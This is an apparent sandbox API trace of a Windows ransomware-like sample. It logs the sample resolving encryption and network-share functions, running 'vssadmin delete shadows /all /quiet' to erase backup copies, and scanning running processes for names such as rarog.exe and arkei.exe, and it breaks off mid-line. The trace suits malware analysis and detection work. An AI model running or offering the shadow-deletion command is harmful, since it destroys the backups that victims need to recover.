GetProcAddress (hModule=0x773b0000, lpProcName="EnterCriticalSection") returned 0x77a622b0 [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="LeaveCriticalSection") returned 0x77a62270 [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="InitializeCriticalSection") returned 0x77a72c42 [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="Sleep") returned 0x773c10ff [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="TerminateThread") returned 0x773c7a2f [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="DeleteCriticalSection") returned 0x77a745f5 [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="HeapFree") returned 0x773c14c9 [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="lstrlenA") returned 0x773c5a4b [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="GetProcessHeap") returned 0x773c14e9 [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="CreateFileW") returned 0x773c3f5c [0071.835] GetProcAddress (hModule=0x773b0000, lpProcName="CloseHandle") returned 0x773c1410 [0071.835] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76f90000 [0071.835] GetProcAddress (hModule=0x76f90000, lpProcName="CryptGenRandom") returned 0x76f9dfc8 [0071.835] GetProcAddress (hModule=0x76f90000, lpProcName="GetSidSubAuthorityCount") returned 0x76fa0e0c [0071.835] GetProcAddress (hModule=0x76f90000, lpProcName="CryptImportKey") returned 0x76f9c532 [0071.835] GetProcAddress (hModule=0x76f90000, lpProcName="CryptEncrypt") returned 0x76fb779b [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="GetSidSubAuthority") returned 0x76fa0e24 [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="OpenProcessToken") returned 0x76fa4304 [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="CryptReleaseContext") returned 0x76f9e124 [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="GetTokenInformation") returned 0x76fa431c [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="CryptGenKey") returned 0x76f98ee9 [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="CryptAcquireContextA") returned 0x76f991dd [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="CryptDestroyKey") returned 0x76f9c51a [0071.836] GetProcAddress (hModule=0x76f90000, lpProcName="CryptExportKey") returned 0x76f991ea [0071.836] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75470000 [0071.836] GetProcAddress (hModule=0x75470000, lpProcName="WNetOpenEnumW") returned 0x75472f06 [0071.837] GetProcAddress (hModule=0x75470000, lpProcName="WNetEnumResourceW") returned 0x75473058 [0071.837] GetProcAddress (hModule=0x75470000, lpProcName="WNetCloseEnum") returned 0x75472dd6 [0071.837] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75cc0000 [0071.837] GetProcAddress (hModule=0x75cc0000, lpProcName="ShellExecuteW") returned 0x75cd3c71 [0071.837] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x77350000 [0071.838] GetProcAddress (hModule=0x77350000, lpProcName="StrStrW") returned 0x7735e52d [0071.838] GetProcAddress (hModule=0x77350000, lpProcName="wnsprintfW") returned 0x7737ef87 [0071.838] GetProcAddress (hModule=0x77350000, lpProcName="StrStrIW") returned 0x773646e9 [0071.838] VirtualProtect (in: lpAddress=0xb0000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4bfa98 | out: lpflOldProtect=0x4bfa98*=0x2) returned 1 [0071.838] VirtualProtect (in: lpAddress=0xb0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x4bfa98 | out: lpflOldProtect=0x4bfa98*=0x4) returned 1 [0071.838] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x4bf578 | out: TokenHandle=0x4bf578*=0x80) returned 1 [0071.838] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4bf57c | out: TokenInformation=0x0, ReturnLength=0x4bf57c) returned 0 [0071.838] GetLastError () returned 0x7a [0071.838] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x19, TokenInformation=0x214668, TokenInformationLength=0x14, ReturnLength=0x4bf57c | out: TokenInformation=0x214668, ReturnLength=0x4bf57c) returned 1 [0071.838] GetSidSubAuthorityCount (pSid=0x214670*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x214671 [0071.838] GetSidSubAuthority (pSid=0x214670*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x214678 [0071.838] CloseHandle (hObject=0x80) returned 1 [0071.838] GetUserDefaultLangID () returned 0x409 [0071.839] CreateProcessW (in: lpApplicationName="C:\\Windows\\sysnative\\vssadmin.exe", lpCommandLine=" delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4bf4ac*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4bf4f0 | out: lpCommandLine=" delete shadows /all /quiet", lpProcessInformation=0x4bf4f0*(hProcess=0x84, hThread=0x80, dwProcessId=0xa24, dwThreadId=0xa28)) returned 1 [0071.873] CloseHandle (hObject=0x80) returned 1 [0071.873] CloseHandle (hObject=0x84) returned 1 [0071.873] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x84 [0071.876] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.876] lstrcmpiW (lpString1="[System Process]", lpString2="rarog.exe") returned -1 [0071.896] lstrlenW (lpString="rarog.exe") returned 9 [0071.896] lstrcmpiW (lpString1="[System Process]", lpString2="arkei.exe") returned -1 [0071.896] lstrlenW (lpString="arkei.exe") returned 9 [0071.896] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0071.896] lstrcmpiW (lpString1="System", lpString2="rarog.exe") returned 1 [0071.896] lstrlenW (lpString="rarog.exe") returned 9 [0071.896] lstrcmpiW (lpString1="System", lpString2="arkei.exe") returned 1 [0071.897] lstrlenW (lpString="arkei.exe") returned 9 [0071.897] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0071.897] lstrcmpiW (lpString1="smss.exe", lpString2="rarog.exe") returned 1 [0071.897] lstrlenW (lpString="rarog.exe") returned 9 [0071.897] lstrcmpiW (lpString1="smss.exe", lpString2="arkei.exe") returned 1 [0071.897] lstrlenW (lpString="arkei.exe") returned 9 [0071.897] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.898] lstrcmpiW (lpString1="csrss.exe", lpString2="rarog.exe") returned -1 [0071.898] lstrlenW (lpString="rarog.exe") returned 9 [0071.898] lstrcmpiW (lpString1="csrss.exe", lpString2="arkei.exe") returned 1 [0071.898] lstrlenW (lpString="arkei.exe") returned 9 [0071.898] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0071.899] lstrcmpiW (lpString1="wininit.exe", lpString2="rarog.exe") returned 1 [0071.899] lstrlenW (lpString="rarog.exe") returned 9 [0071.899] lstrcmpiW (lpString1="wininit.exe", lpString2="arkei.exe") returned 1 [0071.899] lstrlenW (lpString="arkei.exe") returned 9 [0071.899] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.899] lstrcmpiW (lpString1="csrss.exe", lpString2="rarog.exe") returned -1 [0071.899] lstrlenW (lpString="rarog.exe") returned 9 [0071.899] lstrcmpiW (lpString1="csrss.exe", lpString2="arkei.exe") returned 1 [0071.899] lstrlenW (lpString="arkei.exe") returned 9 [0071.899] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0071.900] lstrcmpiW (lpString1="winlogon.exe", lpString2="rarog.exe") returned 1 [0071.900] lstrlenW (lpString="rarog.exe") returned 9 [0071.900] lstrcmpiW (lpString1="winlogon.exe", lpString2="arkei.exe") returned 1 [0071.900] lstrlenW (lpString="arkei.exe") returned 9 [0071.900] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0071.901] lstrcmpiW (lpString1="services.exe", lpString2="rarog.exe") returned 1 [0071.901] lstrlenW (lpString="rarog.exe") returned 9 [0071.901] lstrcmpiW (lpString1="services.exe", lpString2="arkei.exe") returned 1 [0071.901] lstrlenW (lpString="arkei.exe") returned 9 [0071.901] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0071.901] lstrcmpiW (lpString1="lsass.exe", lpString2="rarog.exe") returned -1 [0071.901] lstrlenW (lpString="rarog.exe") returned 9 [0071.901] lstrcmpiW (lpString1="lsass.exe", lpString2="arkei.exe") returned 1 [0071.902] lstrlenW (lpString="arkei.exe") returned 9 [0071.902] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0071.902] lstrcmpiW (lpString1="lsm.exe", lpString2="rarog.exe") returned -1 [0071.902] lstrlenW (lpString="rarog.exe") returned 9 [0071.902] lstrcmpiW (lpString1="lsm.exe", lpString2="arkei.exe") returned 1 [0071.902] lstrlenW (lpString="arkei.exe") returned 9 [0071.902] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.903] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.903] lstrlenW (lpString="rarog.exe") returned 9 [0071.903] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.903] lstrlenW (lpString="arkei.exe") returned 9 [0071.903] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.904] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.904] lstrlenW (lpString="rarog.exe") returned 9 [0071.904] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.904] lstrlenW (lpString="arkei.exe") returned 9 [0071.904] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.904] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.904] lstrlenW (lpString="rarog.exe") returned 9 [0071.904] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.904] lstrlenW (lpString="arkei.exe") returned 9 [0071.904] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.905] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.905] lstrlenW (lpString="rarog.exe") returned 9 [0071.905] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.905] lstrlenW (lpString="arkei.exe") returned 9 [0071.905] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.906] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.906] lstrlenW (lpString="rarog.exe") returned 9 [0071.906] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.906] lstrlenW (lpString="arkei.exe") returned 9 [0071.906] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0071.906] lstrcmpiW (lpString1="audiodg.exe", lpString2="rarog.exe") returned -1 [0071.907] lstrlenW (lpString="rarog.exe") returned 9 [0071.907] lstrcmpiW (lpString1="audiodg.exe", lpString2="arkei.exe") returned 1 [0071.907] lstrlenW (lpString="arkei.exe") returned 9 [0071.907] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.907] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.907] lstrlenW (lpString="rarog.exe") returned 9 [0071.907] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.907] lstrlenW (lpString="arkei.exe") returned 9 [0071.907] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.908] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.908] lstrlenW (lpString="rarog.exe") returned 9 [0071.908] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.908] lstrlenW (lpString="arkei.exe") returned 9 [0071.908] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0071.909] lstrcmpiW (lpString1="dwm.exe", lpString2="rarog.exe") returned -1 [0071.909] lstrlenW (lpString="rarog.exe") returned 9 [0071.909] lstrcmpiW (lpString1="dwm.exe", lpString2="arkei.exe") returned 1 [0071.909] lstrlenW (lpString="arkei.exe") returned 9 [0071.909] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0071.909] lstrcmpiW (lpString1="explorer.exe", lpString2="rarog.exe") returned -1 [0071.909] lstrlenW (lpString="rarog.exe") returned 9 [0071.909] lstrcmpiW (lpString1="explorer.exe", lpString2="arkei.exe") returned 1 [0071.909] lstrlenW (lpString="arkei.exe") returned 9 [0071.909] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0071.910] lstrcmpiW (lpString1="spoolsv.exe", lpString2="rarog.exe") returned 1 [0071.910] lstrlenW (lpString="rarog.exe") returned 9 [0071.910] lstrcmpiW (lpString1="spoolsv.exe", lpString2="arkei.exe") returned 1 [0071.910] lstrlenW (lpString="arkei.exe") returned 9 [0071.910] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.911] lstrcmpiW (lpString1="taskhost.exe", lpString2="rarog.exe") returned 1 [0071.911] lstrlenW (lpString="rarog.exe") returned 9 [0071.911] lstrcmpiW (lpString1="taskhost.exe", lpString2="arkei.exe") returned 1 [0071.911] lstrlenW (lpString="arkei.exe") returned 9 [0071.911] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.911] lstrcmpiW (lpString1="svchost.exe", lpString2="rarog.exe") returned 1 [0071.911] lstrlenW (lpString="rarog.exe") returned 9 [0071.912] lstrcmpiW (lpString1="svchost.exe", lpString2="arkei.exe") returned 1 [0071.912] lstrlenW (lpString="arkei.exe") returned 9 [0071.912] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0071.912] lstrcmpiW (lpString1="taskeng.exe", lpString2="rarog.exe") returned 1 [0071.912] lstrlenW (lpString="rarog.exe") returned 9 [0071.912] lstrcmpiW (lpString1="taskeng.exe", lpString2="arkei.exe") returned 1 [0071.912] lstrlenW (lpString="arkei.exe") returned 9 [0071.912] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x404, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.913] lstrcmpiW (lpString1="taskhost.exe", lpString2="rarog.exe") returned 1 [0071.913] lstrlenW (lpString="rarog.exe") returned 9 [0071.913] lstrcmpiW (lpString1="taskhost.exe", lpString2="arkei.exe") returned 1 [0071.913] lstrlenW (lpString="arkei.exe") returned 9 [0071.913] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="greene_matches.exe")) returned 1 [0071.914] lstrcmpiW (lpString1="greene_matches.exe", lpString2="rarog.exe") returned -1 [0071.914] lstrlenW (lpString="rarog.exe") returned 9 [0071.914] lstrcmpiW (lpString1="greene_matches.exe", lpString2="arkei.exe") returned 1 [0071.914] lstrlenW (lpString="arkei.exe") returned 9 [0071.914] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="watching.exe")) returned 1 [0071.914] lstrcmpiW (lpString1="watching.exe", lpString2="rarog.exe") returned 1 [0071.914] lstrlenW (lpString="rarog.exe") returned 9 [0071.914] lstrcmpiW (lpString1="watching.exe", lpString2="arkei.exe") returned 1 [0071.914] lstrlenW (lpString="arkei.exe") returned 9 [0071.914] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="memphis fireplace usa.exe")) returned 1 [0072.081] lstrcmpiW (lpString1="memphis fireplace usa.exe", lpString2="rarog.exe") returned -1 [0072.081] lstrlenW (lpString="rarog.exe") returned 9 [0072.081] lstrcmpiW (lpString1="memphis fireplace usa.exe", lpString2="arkei.exe") returned 1 [0072.081] lstrlenW (lpString="arkei.exe") returned 9 [0072.081] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fo-plans.exe")) returned 1 [0072.081] lstrcmpiW (lpString1="fo-plans.exe", lpString2="rarog.exe") returned -1 [0072.081] lstrlenW (lpString="rarog.exe") returned 9 [0072.081] lstrcmpiW (lpString1="fo-plans.exe", lpString2="arkei.exe") returned 1 [0072.081] lstrlenW (lpString="arkei.exe") returned 9 [0072.081] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nest-las.exe")) returned 1 [0072.082] lstrcmpiW (lpString1="nest-las.exe", lpString2="rarog.exe") returned -1 [0072.082] lstrlenW (lpString="rarog.exe") returned 9 [0072.082] lstrcmpiW (lpString1="nest-las.exe", lpString2="arkei.exe") returned 1 [0072.082] lstrlenW (lpString="arkei.exe") returned 9 [0072.082] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="shareholdersdna.exe")) returned 1 [0072.082] lstrcmpiW (lpString1="shareholdersdna.exe", lpString2="rarog.exe") returned 1 [0072.082] lstrlenW (lpString="rarog.exe") returned 9 [0072.082] lstrcmpiW (lpString1="shareholdersdna.exe", lpString2="arkei.exe") returned 1 [0072.082] lstrlenW (lpString="arkei.exe") returned 9 [0072.082] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems amendment.exe")) returned 1 [0072.083] lstrcmpiW (lpString1="systems amendment.exe", lpString2="rarog.exe") returned 1 [0072.083] lstrlenW (lpString="rarog.exe") returned 9 [0072.083] lstrcmpiW (lpString1="systems amendment.exe", lpString2="arkei.exe") returned 1 [0072.083] lstrlenW (lpString="arkei.exe") returned 9 [0072.083] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="visitsflooringpsi.exe")) returned 1 [0072.084] lstrcmpiW (lpString1="visitsflooringpsi.exe", lpString2="rarog.exe") returned 1 [0072.084] lstrlenW (lpString="rarog.exe") returned 9 [0072.084] lstrcmpiW (lpString1="visitsflooringpsi.exe", lpString2="arkei.exe") returned 1 [0072.084] lstrlenW (lpString="arkei.exe") returned 9 [0072.084] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="advertisers.exe")) returned 1 [0072.084] lstrcmpiW (lpString1="advertisers.exe", lpString2="rarog.exe") returned -1 [0072.084] lstrlenW (lpString="rarog.exe") returned 9 [0072.084] lstrcmpiW (lpString1="advertisers.exe", lpString2="arkei.exe") returned -1 [0072.084] lstrlenW (lpString="arkei.exe") returned 9 [0072.084] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="unity disease.exe")) returned 1 [0072.085] lstrcmpiW (lpString1="unity disease.exe", lpString2="rarog.exe") returned 1 [0072.085] lstrlenW (lpString="rarog.exe") returned 9 [0072.085] lstrcmpiW (lpString1="unity disease.exe", lpString2="arkei.exe") returned 1 [0072.085] lstrlenW (lpString="arkei.exe") returned 9 [0072.085] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="taking chan lawrence.exe")) returned 1 [0072.086] lstrcmpiW (lpString1="taking chan lawrence.exe", lpString2="rarog.exe") returned 1 [0072.086] lstrlenW (lpString="rarog.exe") returned 9 [0072.086] lstrcmpiW (lpString1="taking chan lawrence.exe", lpString2="arkei.exe") returned 1 [0072.086] lstrlenW (lpString="arkei.exe") returned 9 [0072.086] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nurse towers.exe")) returned 1 [0072.087] lstrcmpiW (lpString1="nurse towers.exe", 